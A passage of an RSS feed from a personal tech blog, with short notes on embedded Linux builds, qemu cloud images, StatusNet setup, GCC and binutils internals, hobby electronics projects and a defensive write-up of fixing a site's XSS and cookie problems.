&lt;a href=&#34;http://git.angstrom-distribution.org/cgi-bin/cgit.cgi/meta-texasinstruments/tree/recipes-kernel/linux/linux-ti33x-psp_3.2.bb&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;linux-ti33x-psp_3.2&lt;/a&gt;
and will be out of date when you read this :)&lt;/p&gt;
&lt;p&gt;The config is under
recipes-kernel/linux/linux-ti33x-psp-3.2/beaglebone/defconfig.&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s a large patch list on top of the kernel. I hacked a script to
apply the patches on top of the Git tree.&lt;/p&gt;
&lt;p&gt;Install the modules using &lt;code&gt;make modules_install INSTALL_MOD_PATH=/media/rootfs&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;playback&#34;&gt;Playback&lt;/h2&gt;
&lt;p&gt;vlc looks viable. Run against local files and use a/any VLC remote to
control.&lt;/p&gt;
&lt;p&gt;DNLA seems pretty dire.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Running Ubuntu armel cloud instances manually</title>
      <link>https://juju.nz/michaelh/note/armel-cloud/</link>
      <pubDate>Sun, 22 Jan 2012 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/armel-cloud/</guid>
      <description>&lt;p&gt;Documentation: &lt;a href=&#34;https://help.ubuntu.com/community/UEC/Images&#34;&gt;https://help.ubuntu.com/community/UEC/Images&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The image itself:
&lt;a href=&#34;http://uec-images.ubuntu.com/oneiric/current/oneiric-server-cloudimg-armel-disk1.img&#34;&gt;http://uec-images.ubuntu.com/oneiric/current/oneiric-server-cloudimg-armel-disk1.img&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is the plain QCOW2 image. The normal one includes OMAP3/4(?) kernel
but I&amp;rsquo;ll use the vexpress-a9 Linaro hwpack
instead.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;michaelh@crucis:~/linaro/tests/qemu/img$ qemu-img info oneiric-server-cloudimg-armel-disk1.img
image: oneiric-server-cloudimg-armel-disk1.img
file format: qcow2
virtual size: 808M (847203840 bytes)
disk size: 198M
cluster_size: 65536
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;qemu-system-arm -M vexpress-a9 -m 1024 \
-drive file=../../img/ubuntu.img,if=sd,cache=writeback \
-serial stdio \
-append &#39;root=/dev/mmcblk0p1 rw mem=1024M console=ttyAMA0,38400n8 rootwait&#39; \
-kernel ../../img/tip/uImage -initrd ../../img/tip/uInitrd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sits there saying:&lt;/p&gt;
&lt;p&gt;&lt;tt&gt;2012-01-09 03:12:12,509 - DataSourceEc2.py[WARNING]:
&amp;lsquo;http://169.254.169.254&amp;rsquo; failed: url error [[Errno 111] Connection
refused]&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;Try different boot args:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root=/dev/mmcblk0p1 rw mem=1024M console=ttyAMA0,38400n8 rootwait \
init=/usr/lib/cloud-init/uncloud-init ubuntu-pass=ubuntu ds=unloud-init
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;qemu-system-arm -M vexpress-a9 -m 1024 \
-drive file=../../img/ubuntu.img,if=sd,cache=writeback \
-serial stdio \
-append &#39;root=/dev/mmcblk0p1 rw mem=1024M console=ttyAMA0,38400n8 rootwait init=/usr/lib/cloud-init/uncloud-init ubuntu-pass=ubuntu ds=nocloud&#39; \
-kernel ../../img/tip/uImage -initrd ../../img/tip/uInitrd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fails
with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Failed to execute /usr/lib/cloud-init/nocloud-init.  Attempting defaults...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Should be &lt;code&gt;uncloud-init&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;uncloud-init&lt;/code&gt; assumes the console is on &lt;code&gt;ttyS0&lt;/code&gt;. Patch to ttyAMA0.&lt;/p&gt;
&lt;p&gt;Final fault is the &lt;code&gt;ds=&lt;/code&gt;. Should be nocloud which causes cloud-init to
use &lt;code&gt;DataSourceNoCloud.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Forward SSH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-redir tcp:5022::22
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Giving:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;qemu-system-arm -M vexpress-a9 -m 1024 \
-drive file=../../img/ubuntu.img,if=sd,cache=writeback -serial stdio \
-append &#39;root=/dev/mmcblk0p1 rw mem=1024M console=ttyAMA0,38400n8 rootwait init=/usr/lib/cloud-init/uncloud-init ubuntu-pass=ubuntu ds=nocloud&#39; \
-kernel ../../img/tip/uImage -initrd ../../img/tip/uInitrd \
-redir tcp:5022::22
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>StatusNet installation</title>
      <link>https://juju.nz/michaelh/note/statusnet/</link>
      <pubDate>Sun, 22 Jan 2012 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/statusnet/</guid>
      <description>&lt;p&gt;Download 1.0.1.&lt;/p&gt;
&lt;p&gt;Needs PHP 5.2.3+, MySQL, various extensions.&lt;/p&gt;
&lt;p&gt;apt-get install php5-cli mysql-server php5-curl php5-mysql php5-gd
php5-gmp&lt;/p&gt;
&lt;p&gt;Would be nice to shift to Debianised versions of the external libraries.&lt;/p&gt;
&lt;p&gt;MySQL password with a
c.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://publications.jbfavre.org/statusnet/install-statusnet-nginx-php-fpm.en&#34;&gt;http://publications.jbfavre.org/statusnet/install-statusnet-nginx-php-fpm.en&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Use spawn-fcgi.&lt;/p&gt;
&lt;p&gt;PHP_FCGI_CHILDREN=1 PHP_FCGI_MAX_REQUESTS=1000 spawn-fcgi -p 11000
-n &amp;ndash; /usr/bin/php5-cgi&lt;/p&gt;
&lt;p&gt;Need to set: fastcgi_param SCRIPT_FILENAME
(document_root)fastcgi_script_name&lt;/p&gt;
&lt;p&gt;Run install.php from the commandline.&lt;/p&gt;
&lt;p&gt;Does a redirect loop.&lt;/p&gt;
&lt;p&gt;Going to /status/index.php?p=main/login is reasonably right. Rewrite
must be breaking.&lt;/p&gt;
&lt;p&gt;Need PATH_INFO else it hits a redirect loop.&lt;/p&gt;
&lt;p&gt;Can login!&lt;/p&gt;
&lt;p&gt;Pull the database off the existing site.&lt;/p&gt;
&lt;p&gt;Getting a &lt;code&gt;DB Error: no such table&lt;/code&gt; error probably due to a new feature
between versions.&lt;/p&gt;
&lt;p&gt;Run scripts/upgrade.php? Yip!&lt;/p&gt;
&lt;p&gt;Pull in the avatars etc.&lt;/p&gt;
&lt;p&gt;Set the theme using config.php: $config[&amp;lsquo;site&amp;rsquo;][&amp;lsquo;theme&amp;rsquo;] =
&amp;lsquo;yourthemename&amp;rsquo;;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Syncing over MTP</title>
      <link>https://juju.nz/michaelh/note/mtpsync/</link>
      <pubDate>Sun, 22 Jan 2012 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/mtpsync/</guid>
      <description>&lt;p&gt;info.product = &amp;lsquo;GT-P7510/Galaxy Tab 10.1&amp;rsquo; info.vendor = &amp;lsquo;Samsung&amp;rsquo;
usb.serial = &amp;lsquo;304D19FDB028588E&amp;rsquo; info.capabilities = { &amp;lsquo;camera&amp;rsquo;,
&amp;lsquo;portable_audio_player&amp;rsquo; }&lt;/p&gt;
&lt;p&gt;According to: &lt;a href=&#34;https://answers.launchpad.net/ubuntu/+question/69910&#34;&gt;https://answers.launchpad.net/ubuntu/+question/69910&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Set /etc/hal/fdi/policy/no-mtp.fdi:&lt;/p&gt;
&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;
&lt;p&gt;&lt;deviceinfo version=&#34;0.2&#34;&gt; &lt;device&gt;
&lt;match key=&#34;info.product&#34; string=&#34;GT-P7510/Galaxy Tab 10.1&#34;&gt;
&lt;remove key=&#34;info.capabilities&#34; type=&#34;strlist&#34;&gt;portable_audio_player&lt;/remove&gt;
&lt;remove key=&#34;info.capabilities&#34; type=&#34;strlist&#34;&gt;camera&lt;/remove&gt; &lt;/match&gt;
&lt;/device&gt; &lt;/deviceinfo&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Using clobber in machine descriptions</title>
      <link>https://juju.nz/michaelh/2009/04/using-clobber-in-machine-descriptions/</link>
      <pubDate>Thu, 23 Apr 2009 20:22:02 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2009/04/using-clobber-in-machine-descriptions/</guid>
      <description>&lt;p&gt;‘clobber’ ensures that the register is free before entering and after exiting an instruction. Therefore you can’t use it to say a register is used then destoryed by an instruction such as LOADACC, (X+) on X.&lt;/p&gt;
&lt;p&gt;Took a while to figure this out&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Extreme optimisation</title>
      <link>https://juju.nz/michaelh/2009/04/extreme-optimisation/</link>
      <pubDate>Fri, 17 Apr 2009 07:40:46 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2009/04/extreme-optimisation/</guid>
      <description>&lt;p&gt;GCC is crazy.Â  It recognises a printf(‘foo\n’) and turns it into the equivalent puts(‘foo’) instead.&lt;/p&gt;
&lt;p&gt;builtins.c has all types of similar transformations including printf(‘%c’, v) to a putch(v) and printf(‘%s’, v) to fputs().&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Canterbury innovation incubator</title>
      <link>https://juju.nz/michaelh/2009/04/canterbury-innovation-incubator/</link>
      <pubDate>Sun, 05 Apr 2009 05:08:53 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2009/04/canterbury-innovation-incubator/</guid>
      <description>&lt;p&gt;The 
&lt;a href=&#34;http://www.cii.co.nz/index.shtml&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Cii&lt;/a&gt; seems interesting. It needs more publicity – this is the first time I’ve heard of it in my fifteen years in Christchurch.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Adding new relocation types</title>
      <link>https://juju.nz/michaelh/2009/03/adding-new-relocation-types/</link>
      <pubDate>Mon, 30 Mar 2009 08:44:32 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2009/03/adding-new-relocation-types/</guid>
      <description>&lt;p&gt;For bfd, add them to the comment block in reloc.c then run ‘make headers’. One more make after that gets it through to bfd.h&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>binutils / bfd target magic</title>
      <link>https://juju.nz/michaelh/2009/03/48/</link>
      <pubDate>Mon, 02 Mar 2009 08:49:27 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2009/03/48/</guid>
      <description>&lt;p&gt;So the BFD architectures listed in &lt;tt&gt;bfd.h&lt;/tt&gt; are actually defined &lt;tt&gt;archures.c&lt;/tt&gt; in a big comment block at the start of the file.Â  This is split out and fired into the documentation, many bfd-in-xx.h files, and finally into bfd.h.&lt;/p&gt;
&lt;p&gt;Note that a ‘make headers’ doesn’t re-build it.Â  I found a ‘make distclean; ./configure’ was the most brute force way.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Python on an embedded system</title>
      <link>https://juju.nz/michaelh/2009/02/python-on-an-embedded-system/</link>
      <pubDate>Thu, 19 Feb 2009 07:17:49 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2009/02/python-on-an-embedded-system/</guid>
      <description>&lt;p&gt;I like Python.Â  I want to use Python everywhere.Â  Hmm.Â  Sounds more like an addiction.Â  The question is, is Python suitable as a glue language on a embedded Linux system?&lt;/p&gt;
&lt;p&gt;With a few hacks Python 1.5.2 cross compiles just fine.Â  The speed will be acceptable so it’s really only the size that matters.&lt;/p&gt;
&lt;p&gt;A standard build under x86 is 12.6M. From there:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Stripping python saves 1.1M&lt;/li&gt;
&lt;li&gt;Removing man and include saves 400k&lt;/li&gt;
&lt;li&gt;Removing *.py and *.pyo saves 2.8M but still lets everything run&lt;/li&gt;
&lt;li&gt;Removing Tk, Config, and stdwin saves 3.9M&lt;/li&gt;
&lt;li&gt;Removing test saves 1.9M&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This brings a fully working Python interpreter with all of the command line libraries down to 2.4M.Â  Quite respectable.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Naming</title>
      <link>https://juju.nz/michaelh/2009/02/naming/</link>
      <pubDate>Sun, 01 Feb 2009 19:20:14 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2009/02/naming/</guid>
      <description>&lt;p&gt;For personal reference.Â  What happens when you follow too strict of a naming convention:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://ws.apache.org/xmlrpc/apidocs/org/apache/xmlrpc/server/RequestProcessorFactoryFactory.html?rel=html&#34;&gt;http://ws.apache.org/xmlrpc/apidocs/org/apache/xmlrpc/server/RequestProcessorFactoryFactory.html?rel=html&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Hmm</title>
      <link>https://juju.nz/michaelh/2008/11/hmm/</link>
      <pubDate>Wed, 26 Nov 2008 08:42:41 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2008/11/hmm/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://www.ladyada.net/make/fuzebox/index.html&#34;&gt;http://www.ladyada.net/make/fuzebox/index.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;and&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.makershed.com/ProductDetails.asp?ProductCode=MKPO1&#34;&gt;http://www.makershed.com/ProductDetails.asp?ProductCode=MKPO1&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Anthony’s</title>
      <link>https://juju.nz/michaelh/2008/09/anthonys/</link>
      <pubDate>Tue, 30 Sep 2008 03:27:51 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2008/09/anthonys/</guid>
      <description>&lt;p&gt;…fish grotto on the bay in San Diego is very good.&lt;/p&gt;
&lt;p&gt;They also do seafood.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Richard Stallman</title>
      <link>https://juju.nz/michaelh/2008/08/richard-stallman/</link>
      <pubDate>Sat, 16 Aug 2008 07:12:53 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2008/08/richard-stallman/</guid>
      <description>&lt;p&gt;Saw RMS at Canterbury University today.Â  He has an interesting point of view, very liberal, but also a point of view that is based on old technology.&lt;/p&gt;
&lt;p&gt;He said that sites like Google Docs are a problem as you are running a program on their machine, a program that you don’t have control over.Â  The solution is to install your own version on your own machine.Â  I wonder how you can do this and still get the advantages of hosted software, such as lower cost, lower administration, and higher availability.Â  I don’t want to manage any of the software I use, and one solution is to let someone else do it.&lt;/p&gt;
&lt;p&gt;He’s not concerned about embedded systems where a processor is used instead of a dedicated circuit, such as in a microwave.Â  However, my microwave gains time and I’d rather have it show time in 24 hours to match the stove.Â  Both I could fix with the source.Â  Then you have car computers such as the Nissan GT-R that 
&lt;a href=&#34;http://www.autojab.com/on-a-race-track-nissan-gt-r-disables-speed-limiter-via-gps/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;changes the car response if it is on a race track&lt;/a&gt;.Â  I heard a rumor of the NSX requiring you to take the car to the dealer if it goes anywhere near a known track.&lt;/p&gt;
&lt;p&gt;Hmm.Â  Perhaps the embedded/mechanical equivalent is the 
&lt;a href=&#34;http://www.flickr.com/photos/pmtorrone/306528267/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Maker Bill of Rights&lt;/a&gt; from Make Magazine.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Zen of website maintenance</title>
      <link>https://juju.nz/michaelh/2008/08/zen-of-website-maintenance/</link>
      <pubDate>Wed, 06 Aug 2008 09:49:28 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2008/08/zen-of-website-maintenance/</guid>
      <description>&lt;p&gt;A certain website had a few vuneribilities including XSS and leaking passwords.Â  The fixes were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;script&gt; tag was turned on for pending users.Â  Configure off. Â All other users get their tags filtered against a safe list&lt;/li&gt;
&lt;li&gt;The superuser always skips the filter and sees all tags. Â I can’t fix this, but I’ve changed the cookie so that its not useful to a cookie catcher&lt;/li&gt;
&lt;li&gt;The ‘password’ in the cookie was just a hash of the password.Â  It is now a hash of the password, the IP address of the client, and a secret. Â A leaked password should only be usable from the same IP&lt;/li&gt;
&lt;li&gt;The ‘password’ field has been removed from all forms and replaced with cookie based authentication&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Fun and games with Python vs C</title>
      <link>https://juju.nz/michaelh/2008/08/fun-and-games-with-python-vs-c/</link>
      <pubDate>Sun, 03 Aug 2008 09:18:32 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2008/08/fun-and-games-with-python-vs-c/</guid>
      <description>&lt;p&gt;I’m using Python to test the code generated by a C compiler.Â  Many of the tests are along the lines of:&lt;/p&gt;
&lt;pre&gt;a = 5&lt;/pre&gt;
&lt;pre&gt;b = 10&lt;/pre&gt;
&lt;pre&gt;result = run_c_code_for_add_in_emulator(a, b)&lt;/pre&gt;
&lt;pre&gt;assert result == a + b&lt;/pre&gt;
&lt;p&gt;This works fine except when dividing integers with rounding. Under GCC on x86, -100/30 is -3, but in Python -100//30 is -4.Â  Hmm.&lt;/p&gt;
&lt;p&gt;This has the interesting side effect that in Python 2.5 -a/b != -(a/b).&lt;/p&gt;
&lt;p&gt;The work-around seems to be to do it explicitly as int(float(a) / float(b)) is -3.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Big Mac Calories</title>
      <link>https://juju.nz/michaelh/2008/07/big-mac-calories/</link>
      <pubDate>Sun, 20 Jul 2008 05:06:45 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2008/07/big-mac-calories/</guid>
      <description>&lt;p&gt;Why does a NZ Big Mac have 464 calories, a UK one 495, and a US one 540?Â  It might be differences in weight but it’s hard to tell.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Seen on reddit</title>
      <link>https://juju.nz/michaelh/2008/01/seen-on-reddit/</link>
      <pubDate>Thu, 31 Jan 2008 06:13:58 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2008/01/seen-on-reddit/</guid>
      <description>&lt;p class=&#34;md&#34;&gt;
  A man goes to his doctor and tells him, &amp;#8220;I&amp;#8217;ve had the song &amp;#8216;What&amp;#8217;s New Pussycat&amp;#8217; stuck in my head for weeks, and it&amp;#8217;s driving me crazy.&amp;#8221;
&lt;/p&gt;
&lt;p&gt;The doctor says, “Well, I think you may have Tom Jones disease.”&lt;/p&gt;
&lt;p&gt;The man says, “I’ve never heard of that. Is it rare?”&lt;/p&gt;
&lt;p&gt;The doctor says, “It’s not unusual.”&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Moving to Dreamhost</title>
      <link>https://juju.nz/michaelh/2007/12/moving-to-dreamhost/</link>
      <pubDate>Thu, 13 Dec 2007 08:05:22 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2007/12/moving-to-dreamhost/</guid>
      <description>&lt;p&gt;Thought I’d move from Rimu Hosting to Dreamhost.Â  The VPS we’re on is just too slow and anything that brings the load down is good.&lt;/p&gt;
&lt;p&gt;I can’t move the secure sites as Dreamhost doesn’t provide any type of SSL, even a self signed cert from the wrong address, without switching to a static IP and handing over $50 US a year.&lt;/p&gt;
&lt;p&gt;And as always happens, I got part way into the move and accidentally brokeÂ  something on the original and had to do a rush switch.Â  Ah, well.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Comparing integers</title>
      <link>https://juju.nz/michaelh/2007/12/comparing-integers/</link>
      <pubDate>Thu, 13 Dec 2007 08:02:36 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2007/12/comparing-integers/</guid>
      <description>&lt;p&gt;Notes for next time:&lt;/p&gt;
&lt;p&gt;You can check if the unsigned integer ‘a’ is greater than ‘b’ by adding the ones complement of ‘b’ to ‘a’ and testing carry.Â  A twos complement subtraction doesn’t work as a &amp;gt; 0 is always false.&lt;/p&gt;
&lt;p&gt;Signed integers are similar but you first add &lt;tt&gt;0x80000000&lt;/tt&gt; to both a and b.Â  This makes both unsigned without changing the order.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Test after move</title>
      <link>https://juju.nz/michaelh/2005/12/test-after-move/</link>
      <pubDate>Tue, 06 Dec 2005 08:21:47 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/12/test-after-move/</guid>
      <description>&lt;p&gt;All relocated and imported. Now does posting work?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Engines for metaphilter&#43;&#43;</title>
      <link>https://juju.nz/michaelh/2005/09/engines-for-metaphilter/</link>
      <pubDate>Tue, 20 Sep 2005 08:41:56 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/09/engines-for-metaphilter/</guid>
      <description>&lt;p&gt;
&lt;a href=&#34;http://www.djangoproject.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Django&lt;/a&gt; looks quite decent. Python (not PHP – good), built in basic admin, built in basic user accounts, and the template system is directly applicable to metaphilter.&lt;/p&gt;
&lt;p&gt;I’ll give it a try using sqlite 3.2.6 and pysqlite 2.0.4.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Planet Planet Planet</title>
      <link>https://juju.nz/michaelh/2005/09/planet-planet-planet/</link>
      <pubDate>Sat, 03 Sep 2005 08:47:45 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/09/planet-planet-planet/</guid>
      <description>&lt;p&gt;Planet Planet Planet Mushrooms Mushrooms!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Automatic PC fan control</title>
      <link>https://juju.nz/michaelh/2005/06/automatic-pc-fan-control/</link>
      <pubDate>Sun, 12 Jun 2005 07:45:53 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/06/automatic-pc-fan-control/</guid>
      <description>&lt;p&gt;Use a Atmel 
&lt;a href=&#34;http://www.sicom.co.nz/xurl/PageID/2214/function/viewprd/prd_id/92602/pmm_id/0/8-bit-mcu-w2k-bytes-flash-20-dip.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ATTINY26&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;as a serial port based fan controller for a PC. Tracy’s machine is very noisy but has built in sensors for the CPU and case temperature. Use a PC app to do closed loop control on the temperature. Run it hot-ish as the cooling effect increases with the temperature differential so the hotter it runs the slower the fan needs to run.&lt;/p&gt;
&lt;p&gt;Use a FET for the fan drive. The reset case on the micro will be full noise. Could also use the on-board ADC and a resistor divider to sense the back EMF when the PWM is off to get an idea of fan speed.&lt;/p&gt;
&lt;p&gt;It should be very cheap – the micro is $6.20 and there is _very_ little support circuitry. Instead of using the CPUs sensor, you could add 1-wire or similar temperature gauges directly to the Atmel but at significant additional cost.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Infinite Power!</title>
      <link>https://juju.nz/michaelh/2005/06/infinite-power/</link>
      <pubDate>Sat, 11 Jun 2005 10:55:17 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/06/infinite-power/</guid>
      <description>&lt;p&gt;Noooooooooooooooooooooooo_ooooooooooooooooooooooooo_!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Ratchet &amp; Clank</title>
      <link>https://juju.nz/michaelh/2005/06/ratchet-clank/</link>
      <pubDate>Fri, 10 Jun 2005 09:27:05 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/06/ratchet-clank/</guid>
      <description>&lt;p&gt;Woo. All done. Reasonable length, very linear, and a bit…easy. Solution to the big bad: empty 200 blaster rounds for stage 1. Re-stock using the PDA. Empty 200 rounds for stage 2. Re-stock. Tesla coil for the mines and groundies, and blaster, tesla, and devistator for stage 3.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Wireless temperature cluster</title>
      <link>https://juju.nz/michaelh/2005/06/21/</link>
      <pubDate>Wed, 08 Jun 2005 09:01:25 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/06/21/</guid>
      <description>&lt;p&gt;For measuring the vertical temperature gradient cheaply at different stations across about a heactare of land. A heactare is 10000 m^2 or about 100×100 metres. You could use a set of 
&lt;a href=&#34;http://www.maxim-ic.com/products/ibutton/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;1-wire&lt;/a&gt; temperature sensors in a local cluster. Use a 433MHz radio link and coding similar to 
&lt;a href=&#34;http://www.circuitcellar.com/library/print/0604/RicciBitti-167/index.htm&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;this wireless mouse trap&lt;/a&gt; and a battery pack to give greater than six month life.&lt;/p&gt;
&lt;p&gt;It would need something to collect the information as you don’t want a laptop to be on all of the time. The individual stations could keep transmitting a rolling few days of data or use something like 
&lt;a href=&#34;http://mrtg.hdl.com/mrtg.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MRTG&lt;/a&gt;‘s methods of collating data. Or keep something low power on all of the time that also decodes the protocol and provides a serial interface.&lt;/p&gt;
&lt;p&gt;Basic costs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Transmitter ~$4.20US&lt;/li&gt;
&lt;li&gt;Dallas 18B20 sensor – $2.57US&lt;/li&gt;
&lt;li&gt;Atmel ATTINY or similar – $5NZ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mechanicals including a waterproof box and antenna, if any, would double the cost.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Power off on power button</title>
      <link>https://juju.nz/michaelh/2005/05/power-off-on-power-button/</link>
      <pubDate>Mon, 30 May 2005 07:24:15 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/05/power-off-on-power-button/</guid>
      <description>&lt;p&gt;Squishy, the Linux box, runs MythTV. It’s a bit tricky to turn off so it would be nice to have it turn off on pressing the power button. Turns out Ubuntu has everything there by default provided by &lt;tt&gt;acpi&lt;/tt&gt;, &lt;tt&gt;acpid&lt;/tt&gt;, and &lt;tt&gt;acpi-support&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://ldp.paradoxical.co.uk/LDP/LGNET/106/pramode.html&#34;&gt;http://ldp.paradoxical.co.uk/LDP/LGNET/106/pramode.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.mjmwired.net/resources/redhat8-acpi.html&#34;&gt;http://www.mjmwired.net/resources/redhat8-acpi.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Playing with ndiswrapper</title>
      <link>https://juju.nz/michaelh/2005/05/playing-with-ndiswrapper/</link>
      <pubDate>Sun, 29 May 2005 08:07:43 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/05/playing-with-ndiswrapper/</guid>
      <description>&lt;p&gt;Very impressed so far. Purchased a Dick Smith 
&lt;a href=&#34;http://www.dse.co.nz/cgi-bin/dse.storefront/4299766c0d648674273fc0a87f9907a0/Product/View/XH8227&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;XH8227 802.11g USB&lt;/a&gt; network adapter as they were on closeout for a reasonable price. There are efforts to get a 
&lt;a href=&#34;http://jbnote.free.fr/prism54usb/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;driver going natively&lt;/a&gt; using the 
&lt;a href=&#34;http://prism54.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;prism54.org&lt;/a&gt; drivers as a base but I wanted to get things up and going quickly.&lt;/p&gt;
&lt;p&gt;Got confused at first as I loaded the PCI drivers into ndiswrapper first and then couldn’t figure out why it couldn’t find the card. It came up quite quickly from there. My &lt;tt&gt;/etc/network/interfaces&lt;/tt&gt; ended up being:&lt;/p&gt;
&lt;pre&gt;# The loopback network interface
auto lo wlan0
iface lo inet loopback

# This is a list of hotpluggable network interfaces.
# They will be activated automatically by the hotplug subsystem.
mapping hotplug
        script grep
        map eth0

# The primary network interface
iface eth0 inet static
      address 192.168.2.2
      netmask 255.255.255.0

iface wlan0 inet dhcp
      wireless-key &amp;lt;secret&gt;
      wireless-essid Call&amp;lt;secret&gt;
      hostname squishy
&lt;/pre&gt;
&lt;p&gt;Added &lt;tt&gt;mdnsresponder&lt;/tt&gt; to squishy and now I can ping squishy from my iBook. Added &lt;tt&gt;libnss-mdns&lt;/tt&gt; and edited &lt;tt&gt;/etc/nsswitch.conf&lt;/tt&gt; to have &lt;tt&gt;hosts: files dns mdns4&lt;/tt&gt; and now I can ping crush.local from squishy. Nice. No DNS server incolved.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>MonkeyFilter downtime</title>
      <link>https://juju.nz/michaelh/2005/05/monkeyfilter-downtime/</link>
      <pubDate>Mon, 16 May 2005 08:45:11 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/05/monkeyfilter-downtime/</guid>
